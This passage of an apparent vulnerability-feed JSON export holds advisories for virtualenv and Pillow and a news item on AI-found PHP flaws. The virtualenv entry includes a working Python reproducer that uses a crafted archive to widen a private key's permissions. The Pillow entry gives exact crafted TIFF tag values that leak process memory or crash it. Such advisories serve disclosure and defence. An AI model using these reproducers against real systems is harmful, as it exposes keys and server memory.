page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-cw65-gx24-rc82, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-cw65-gx24-rc82, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-cw65-gx24-rc82, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-cw65-gx24-rc82, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-cw65-gx24-rc82, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-cw65-gx24-rc82, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-cw65-gx24-rc82, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-cw65-gx24-rc82, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-cw65-gx24-rc82, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113716&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113716, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113724","cveId":"CVE-2026-113724","aliases":["GHSA-43mp-35q3-x3fq"],"kind":"vulnerability","title":"virtualenv: Deletion recovery can change a symlink target's mode","summary":"The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows\nsymlinks. On an eligible unlink failure this can change permissions outside the destination.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026.","detail":"## Summary\n\nThe deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows\nsymlinks. On an eligible unlink failure this can change permissions outside the destination.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nPermission recovery after a filesystem deletion error.\n\n## Attacker-controlled input\n\nA deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have\npermission to change the target mode. This is conditional error handling, not the normal successful unlink path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).\n\n## Mechanism\n\n`safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler\ncalls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link's\nmode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target's mode to become\n`0777` before the retry fails. The target must be owned by the invoking user and initially not writable by that user;\nroot does not reach this failure path.\n\n## Reproduction and evidence\n\nThe scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to\nthe user's mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and\n`virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the\nkey's mode changed from `0400` to `0777`. A control archive with a writable directory completed normally and left the\nkey at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup.\n\nThis changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the\nwidened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to\n#3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on\ndeletion failure and handles Windows read-only entries without following reparse points.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Prepared read-only venv tree\n participant V as safe_delete error handler\n participant L as Symlink in venv\n participant K as User's 0400 key\n A->>V: virtualenv venv or --clear venv\n V->>L: unlink fails in 0555 directory\n V->>L: lstat returns link mode 0777\n V->>L: chmod follows symlink\n L->>K: target mode becomes 0777\n V-->>A: retry fails with PermissionError\n Note over K: Other accounts can use new mode if parent paths are traversable\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nfrom pathlib import Path\n\nNOBODY = 65534\n\nwork = Path(tempfile.mkdtemp(prefix=\"repro-safe-delete-\"))\nos.chmod(work, 0o755)\nos.chown(work, NOBODY, NOBODY)\n\n# the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable\nmake_archive = [sys.executable, \"/tmp/repro.d/make_project_archive.py\"]\nsubprocess.run([*make_archive, work / \"read-only.tar\", \"555\"], check=True)\nsubprocess.run([*make_archive, work / \"writable.tar\", \"755\"], check=True)\nsubprocess.run([\"tar\", \"-tvf\", work / \"read-only.tar\"], check=True)\n\n# from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run\nos.setgroups([])\nos.setgid(NOBODY)\nos.setuid(NOBODY)\nos.umask(0o022)\n\ndef unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options):\n home = work / home_name\n archive = work / archive_name\n key = home / \"keys\" / \"deploy.pem\"\n key.parent.mkdir(parents=True)\n key.write_text(\"PRIVATE KEY\\n\")\n key.chmod(0o400)\n subprocess.run([\"tar\", \"-xf\", archive], cwd=home, check=True)\n\n mode_before = stat.S_IMODE(key.stat().st_mode)\n command = [\"virtualenv\", \"--no-periodic-update\", \"-q\", *options, \"venv\"]\n # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it\n result = subprocess.run(\n command,\n cwd=home / \"proj\",\n env={**os.environ, \"HOME\": str(home)},\n stdout=subprocess.PIPE,\n stderr=subprocess.STDOUT,\n text=True,\n )\n mode_after = stat.S_IMODE(key.stat().st_mode)\n\n print(f\"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}\")\n print(f\"{label} {key} mode {mode_before:#o} -> {mode_after:#o}\")\n return mode_before, mode_after\n\ncontrol = unpack_next_to_key_and_run_virtualenv(\"CONTROL \", \"home-control\", \"writable.tar\")\ndefault = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-default\", \"read-only.tar\")\nclear = unpack_next_to_key_and_run_virtualenv(\"OBSERVED\", \"home-clear\", \"read-only.tar\", \"--clear\")\n\n# check: the key lives outside the destination; virtualenv has no business changing its mode\nprint(\"BUG\" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else \"OK\")\n```\n\n**`repro.d/make_project_archive.py`**\n\n```text\n#!/usr/bin/env python3\nimport sys\nimport tarfile\n\narchive_path = sys.argv[1]\npython_folder_mode = int(sys.argv[2], 8)\n\nwith tarfile.open(archive_path, \"w\") as archive:\n python_folder = tarfile.TarInfo(\"proj/venv/bin/python\")\n python_folder.type = tarfile.DIR\n\nAffected package ranges reported by GitHub:\nvirtualenv: < 21.14.9","action":"GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T21:31:34.000Z","updatedAt":"2026-10-21T21:31:35.000Z","regions":["Global"],"vendor":null,"product":"virtualenv","stacks":["Python packages (PyPI)","virtualenv","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":4.5,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L","sourceUrl":"https://github.com/advisories/GHSA-43mp-35q3-x3fq","asOf":"2026-10-21T21:31:35.000Z"},"epss":{"probability":0.00144,"percentile":0.03633,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113724&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-43mp-35q3-x3fq","url":"https://github.com/advisories/GHSA-43mp-35q3-x3fq","type":"primary","publishedAt":"2026-10-21T21:31:34.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113724&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113724, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112902","cveId":"CVE-2026-112902","aliases":["GHSA-xvh5-g6gv-559v"],"kind":"vulnerability","title":"Pillow: Memory disclosure and segfault in libtiff encoder via crafted TIFF tags","summary":"```\n============================================================================\nMemory disclosure and segfault in libtiff encoder via crafted TIFF tags\nLocation: src/encode.c:1014 in PyImaging_LibTiffEncoderNew()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary `Image.open()` followed by a bare `im.save(fp, \"TIFF\")`. The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from `_imaging.so`'s read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run.","detail":"```\n============================================================================\nMemory disclosure and segfault in libtiff encoder via crafted TIFF tags\nLocation: src/encode.c:1014 in PyImaging_LibTiffEncoderNew()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted TIFF file of a few hundred bytes makes Pillow copy an attacker-chosen amount of its own process memory into the TIFF it writes back out, or crash the process outright. The trigger is an ordinary `Image.open()` followed by a bare `im.save(fp, \"TIFF\")`. The only precondition is that the application re-saves images as TIFF. When the uploaded file is compressed, Pillow routes that save through libtiff automatically, with no options from the application. The attached reproducer does this with a 356-byte LZW TIFF: one crafted tag comes back holding 65536 bytes taken from `_imaging.so`'s read-only data, and a second crafted tag makes the worker die with SIGSEGV on every run.\n\nThe bug is in `PyImaging_LibTiffEncoderNew` (`src/encode.c`). It decides what arguments to pass to the variadic `TIFFSetField()` from the shape of the Python value (scalar, tuple or bytes). It assumes its `ImagingLibTiffMergeFieldInfo()` call defined how libtiff will read them. But `TIFFMergeFieldInfo()` never overrides libtiff's built-in field table, so libtiff reads the arguments according to its own definition of the tag:\n\n- For a counted array tag such as DNGPrivateData (50740), a count-1 integer in the source file is taken as the byte count. The data pointer is then read from an argument slot Pillow never wrote, and that many bytes are copied into the output.\n- For a fixed-size array tag such as ActiveArea (50829), the integer itself is used as the source address.\n\nWhere that unwritten slot points depends on the compiler. In the tested clang build it points into `_imaging.so`, and a larger count returned thousands of pointers into libpython, libc and libtiff, which defeats address-space randomisation for anyone chaining another bug. When the application preserves metadata with `tiffinfo=im.tag_v2`, a 64-bit entry turns ActiveArea into a 16-byte read from an address the attacker chooses. All observed memory errors are reads; no out-of-bounds write was found.\n\nOther branches of the same loop share the defect and are reachable from crafted TIFFs or from EXIF in JPEG/PNG/WebP re-saved as compressed TIFF. These are the `bytes`, RATIONAL-tuple and typed-tuple branches, and a BYTE-typed ColorMap. The file-reachable forwarding was introduced in `a3d45e9cefd0` (\"Added custom int and float TIFF tags\") and first released in 5.4.0.\n\n## Details\n\n`PyImaging_LibTiffEncoderNew` (`src/encode.c:777-1060`) chooses the argument\nlist it hands to the variadic `TIFFSetField()` from the *Python* value of each\ntag — scalar vs. tuple vs. `bytes`, and a type that is either autodetected or\ncopied from the source file's IFD — and assumes that its own\n`ImagingLibTiffMergeFieldInfo()` registration defines how libtiff will read the\n`va_list`. It does not: libtiff keeps its built-in definition for every tag it\nalready knows, and core tags are never registered at all. libtiff therefore\nconsumes the varargs as `(count, pointer)`, `(pointer)` or three pointers\naccording to *its* field table, whatever Pillow actually pushed. The encoder\nnever consults that table (`TIFFFindField` / `TIFFFieldPassCount` /\n`TIFFFieldWriteCount` / `TIFFFieldDataType`) before the call.\n\nThe most severe instance, and the one the attached reproducer exercises: when a\nTIFF is re-saved through the libtiff writer, every tag of the source IFD that\nPillow does not recognise is forwarded to libtiff with `TIFFSetField()`. A\ncount-1 integer entry is passed as a single scalar vararg. If libtiff's own\nfield table defines that tag number as an *array* field, libtiff consumes the\nvarargs as `(count, pointer)` or `(pointer)` instead, so the attacker's integer\nbecomes either the number of bytes to copy from a never-written vararg slot, or\nthe source address itself. The same mismatch is reachable through the typed\ntuple branches (tuple length consumed as a pointer for fixed-count built-in\ntags such as `CFARepeatPatternDim`, even when the source file is well-formed),\nthe `bytes`, `TIFF_RATIONAL`-tuple and core-tag branches of the same loop;\nthose are listed\nunder *Other branches with the same defect* below and need to be covered by the\nsame fix.\n\nA 181-byte TIFF (16×16 RGB, one LZW strip, plus one extra IFD entry\n`50740 / LONG / count 1 / value 4096` — DNGPrivateData) opened with\n`Image.open()` and saved with a bare `im.save(buf, \"TIFF\")` produces a 4296-byte\noutput whose tag 50740 holds 4096 bytes that occur nowhere in the input; scanning\n`/proc/self/mem` finds them in the read-only data segment of `_imaging.so`.\nChanging the extra entry to `50829 / LONG / 1 / 64` (ActiveArea) makes the same\ntwo calls segfault in `memcpy(dst, src=0x40, n=16)` under\n`ImagingLibTiffSetField` ← `PyImaging_LibTiffEncoderNew`. An ASan build of the\nextensions reports `READ of size 4096` in `memcpy` called from\n`src/encode.c:1014` for the first input.\n\n### Code path\n\n`_save` copies all tags of the opened image into the libtiff attribute list.\nFor a tag that is neither in `LIBTIFF_CORE` nor in `TiffTags.TAGS_V2`, no type\nis recorded, so the value goes through untyped:\n\n```python\n# src/PIL/TiffImagePlugin.py:1782\nsupplied_tags = {**legacy_ifd, **getattr(im, \"tag_v2\", {})}\n…\n# :1959-1982\nfor tag, value in itertools.chain(ifd.items(), supplied_tags.items()):\n if tag not in TiffTags.LIBTIFF_CORE:\n …\n elif isinstance(value, (int, float, str, bytes)) or …:\n type = TiffTags.lookup(tag).type # None for 50740, 50829, …\n if type:\n types[tag] = type\n if tag not in atts and tag not in blocklist:\n …\n atts[tag] = value # plain int 4096\n```\n\n`compression` defaults to the source image's `im.info[\"compression\"]`\n(`TiffImagePlugin.py:1731-1746`), so a compressed source selects the libti\n\nAffected package ranges reported by GitHub:\nPillow: <= 12.3.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T21:29:16.000Z","updatedAt":"2026-10-21T21:29:16.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-xvh5-g6gv-559v","asOf":"2026-10-21T21:29:16.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-xvh5-g6gv-559v","url":"https://github.com/advisories/GHSA-xvh5-g6gv-559v","type":"primary","publishedAt":"2026-10-21T21:29:16.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-xvh5-g6gv-559v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-xvh5-g6gv-559v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-xvh5-g6gv-559v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-xvh5-g6gv-559v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-xvh5-g6gv-559v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-xvh5-g6gv-559v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-xvh5-g6gv-559v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-xvh5-g6gv-559v, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-xvh5-g6gv-559v, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"axios-php-openai-ai-bug-hunting-cyberattacks-dbe526eb5ddc","cveId":null,"aliases":[],"kind":"vulnerability","title":"AI uncovers massive flaw in web's foundational code","summary":"Security officials are sounding the alarm over two critical vulnerabilities in a programming language used to run millions of websites, marking one of the most consequential cybersecurity discoveries yet made with AI .\n\n Why it matters: The bugs, which researchers found partly with an OpenAI model, proves AI can uncover critical flaws humans missed for decades — raising the stakes for defenders racing to fix vulnerabilities before attackers can exploit them at machine speed.\n\n What they're saying: Matthew Prince, the CEO of Cloudflare, a global connectivity and internet security company, said the company saw thousands of attempts to exploit the flaws in the 10 hours before it was publicly announced.\n\n \"That jumped to tens of thousands in the 45 minutes post announcement, hundreds of thousands within 2 hours, and millions now,\" he wrote on X.\n\n Driving the news: There are two problems hackers could easily exploit in an open-source programming language known as PHP that's used on nearly 70% of all websites .\n\n Government officials from the U.S. to Japan are warning companies to apply a patch to fix the bugs, or consider taking down their sites to avoid an attack.\n\n OpenAI touted the role its model played in discovering one of the vulnerabilities, which allowed PHP researchers to create a fix.\n\n Between the lines: Security researchers have been skeptical of AI-generated vulnerability reports, many of which have turned out to be minor bugs or false alarms. \n\n But the PHP discovery could force the cybersecurity community to reckon with the reality of AI threats. \n\n \"It highlights how AI can uncover security flaws with internet-scale impact, but the same capabilities can also help attackers rapidly develop offensive tools and exploits,\" OpenAI said in a blog post Wednesday.\n\n Threat level: If exploited, the PHP flaws would allow malicious hackers to take control of vulnerable web servers without needing a password or other credentials. \n\n Since PHP runs under a wide varie","detail":"Security officials are sounding the alarm over two critical vulnerabilities in a programming language used to run millions of websites, marking one of the most consequential cybersecurity discoveries yet made with AI .\n\n Why it matters: The bugs, which researchers found partly with an OpenAI model, proves AI can uncover critical flaws humans missed for decades — raising the stakes for defenders racing to fix vulnerabilities before attackers can exploit them at machine speed.\n\n What they're saying: Matthew Prince, the CEO of Cloudflare, a global connectivity and internet security company, said the company saw thousands of attempts to exploit the flaws in the 10 hours before it was publicly announced.\n\n \"That jumped to tens of thousands in the 45 minutes post announcement, hundreds of thousands within 2 hours, and millions now,\" he wrote on X.\n\n Driving the news: There are two problems hackers could easily exploit in an open-source programming language known as PHP that's used on nearly 70% of all websites .\n\n Government officials from the U.S. to Japan are warning companies to apply a patch to fix the bugs, or consider taking down their sites to avoid an attack.\n\n OpenAI touted the role its model played in discovering one of the vulnerabilities, which allowed PHP researchers to create a fix.\n\n Between the lines: Security researchers have been skeptical of AI-generated vulnerability reports, many of which have turned out to be minor bugs or false alarms. \n\n But the PHP discovery could force the cybersecurity community to reckon with the reality of AI threats. \n\n \"It highlights how AI can uncover security flaws with internet-scale impact, but the same capabilities can also help attackers rapidly develop offensive tools and exploits,\" OpenAI said in a blog post Wednesday.\n\n Threat level: If exploited, the PHP flaws would allow malicious hackers to take control of vulnerable web servers without needing a password or other credentials. \n\n Since PHP runs under a wide variety of internet applications, that access could allow hackers to take over websites, steal sensitive information and tamper with a website. \n\n Some website owners took their sites down earlier Wednesday, including certain services at Wikipedia and 4chan , until they had time to patch their systems. \n\n \"These findings rank among the most severe vulnerabilities discovered in PHP, and arguably in software history,\" researchers at Wiz wrote in a post. \n\n The big picture: AI-driven bug discoveries are shining a light on the fragility of the modern internet, which is heavily reliant on a slew of open-source software powered by volunteers . \n\n The two flaws in PHP existed for decades, but demonstrated that it was possible for a hacker to exploit them required \"an exceptionally complex chain of steps,\" researchers at Wiz added.\n\n \"Defenders have always relied on the gap between 'vulnerable' and 'exploitable' to buy time to patch,\" Michael Leland, field CTO at Island, said in an email to Axios. \"That gap is rapidly closing.\"\n\n What we're watching: Cybersecurity defenders are on guard for what could be a wave of incidents where websites and organizations are hacked using these two vulnerabilities in the next few weeks. \n\n Go deeper : Rogue AI agents expose internet's frail foundation\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact 